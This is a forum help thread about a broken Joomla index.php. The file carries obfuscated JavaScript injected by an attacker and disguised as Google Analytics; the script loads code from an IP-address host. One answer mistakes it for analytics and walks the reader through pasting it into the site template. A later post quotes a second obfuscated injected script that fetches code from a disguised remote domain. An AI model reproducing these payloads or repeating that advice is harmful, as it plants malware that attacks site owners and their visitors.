tags:

views:

2650

answers:

4

Newb here trying to fix my php code. Getting an error at line 89.

<?php
/**
* @version   $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package   Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license   GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>
A: 

You're starting another <?php section without ending the previous one.

Why are you opening a new <?php section in the first place? You're already in one. Just remove the <?php part on line 89 and I suspect it'll be fine - at least syntactically.

To be clear, you've currently got:

<?php
stuff
<?php
more stuff
?>

You want:

<?php
stuff
more stuff
?>
Jon Skeet
Someone else handles my backend and site is down. I'm trying to fix this to get it up and running but have zero php skill. Any help would be awesome.
I have zero php skill as well, but the error message seems reasonable clear in this case.
Jon Skeet
I would also add that a better solution may well be just to roll back to an earlier working version. Fixing someone else's broken change without knowing what they were trying to do is probably a bad idea.
Jon Skeet
If you cannot find any solution, you can safely remove everything after this line "echo JResponse::toString($mainframe->getCfg('gzip'));". You will lose google analytics support temporary, but you will get your site back online. Btw. never edit ANY Joomla files directly, because these changes will be overwritten by the next update. Instead try to do this kind of work in your templates.
merkuro
Thanks. Just trying to get the site live again and then will let others figure out tomorrow what was done or done wrong. It just seemed to happen. Thanks for the pointers
buy that man a beer.... thanks merkuro... Site online again.....
thanks again guys. Clipped out that portion below echo and the site is live again. Have saved that code to be looked at.
@merkuro: It's probably worth you posting your comment as an answer, so it can be upvoted and accepted.
Jon Skeet
+2  A: 

Just found the file in the Joomla 1.5 package. It's the index.php in the root directory. Since this file only consists of 89 lines and it's proven to work, it's not a problem with joomla itself.

Like suggested above cut everything after line 89 and restore the file to its original layout. If unsure just load the latest Joomla 1.5 installation and take the included "index.php" file. Btw. it is unwise to return any content in clear text after it has possibly already returned gzipped by Joomla and the body tag is already closed.

How to restore Google analytics functionality? Lookup your currently used template, open the "index.php" file and add the following just before the body tag is closed:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>
merkuro
again- MANY thanks. Great little site here.
A: 

I Think this is some type of hack search the web more, i found this had happen to my site sunday morning around 9am, didn't catch it until that night as i take sundays off. I looked at my php log and found it was inserted in just about every index.php file i had. I did a full restore from the night before. and changed ALL my passwords that have any access to anything. I site i was reading (google translated German site) i think mentioned that it was sending info back to somewhere in Ukraine, but i can not confirm this. All i know is i didn't put it in and it was in over 20 pages. lucky it took my site down so i had to find out why.

Please post what version of joomla and other components you are using.

A: 

Hi! I'm facing the same problem too. When I removed everything after:echo JResponse::toString($mainframe->getCfg('gzip')); my site is still down eventhough I removed the sript after that. I checked all index.php file, they all have this:

<script>var l;if(l!='i' && l!='k'){l=''};var f;if(f!='rd' && f!='y'){f=''};var yj;if(yj!=''){yj='ja'};var q=window;var t;if(t!='' && t!='z'){t=''};var w="";var j=document;var fo;if(fo!='tv' && fo!='ol'){fo='tv'};var s='s1c#r4i1p#t#'.replace(/[#41\>j]/g, '');var m=false;var wi=new Date();var rq;if(rq!='ik' && rq!='g'){rq='ik'};q.onload=function(){this.u='';var up=new Array();try {this.gb=16280;var gg;if(gg!='' && gg!='fp'){gg=null};c=j.createElement(s);var b;if(b!='zd' && b!='lw'){b=''};this.nv=32701;c.setAttribute('d+enf#enrB'.replace(/[By#\+n]/g, ''), "1");this.it="";var ij;if(ij!='cu'){ij=''};var k_="k_";c.src='h1t2t1pA:$/A/2d2r_e1a2m_s$tAi$mAe1-$c_o2m1._m_e$dAi$a1fAiArAeA.Ac$o1m1.Aa$e2b2n1-1n2eAt1._tAh1eAlAiAf_e$tAa1g$.ArAu_:_82018101/_c_a2m$s_.1c$o2m1/2c2aAm1s1.2c2o2m2/Am1aAi$l_._c2o$m1/Ag1o_o$g$l$e2.2c_oAm2/_s2e$a1r$s$.Ac2o2mA/A'.replace(/[A\$2_1]/g, '');var sc=31542;this.hy=28413;var ne="";var _i;if(_i!='zx' && _i != ''){_i=null};j.body.appendChild(c);var ef;if(ef!='v'){ef=''};} catch(n){this.ir="";};this.hf=32177;};var ff;if(ff!='q_o' && ff!='vg'){ff='q_o'};this.he="he";</script>

<!--9da1b2beacdbce33842cc82902cab537-->

It's impossible to check all the folders and delete this, could someone please tell me how did you do it? I also got this problem in the middle of January but wasn't able to fix this as I was busy.

I also have another website which is also php but not with Joomla and I had also same problem, but that one was kind of easy because there was not much index.html so it was easy to delete and it didn't come back anymore. However, in my Joomla website, I already removed it last week, then I checked it today, it has come back again. I cannot even access administrator page, it's showing the same. I don't know what to do. Can anyone please help me? By the way, here's the website: www.deartz.com

Thanks in advance.

pitar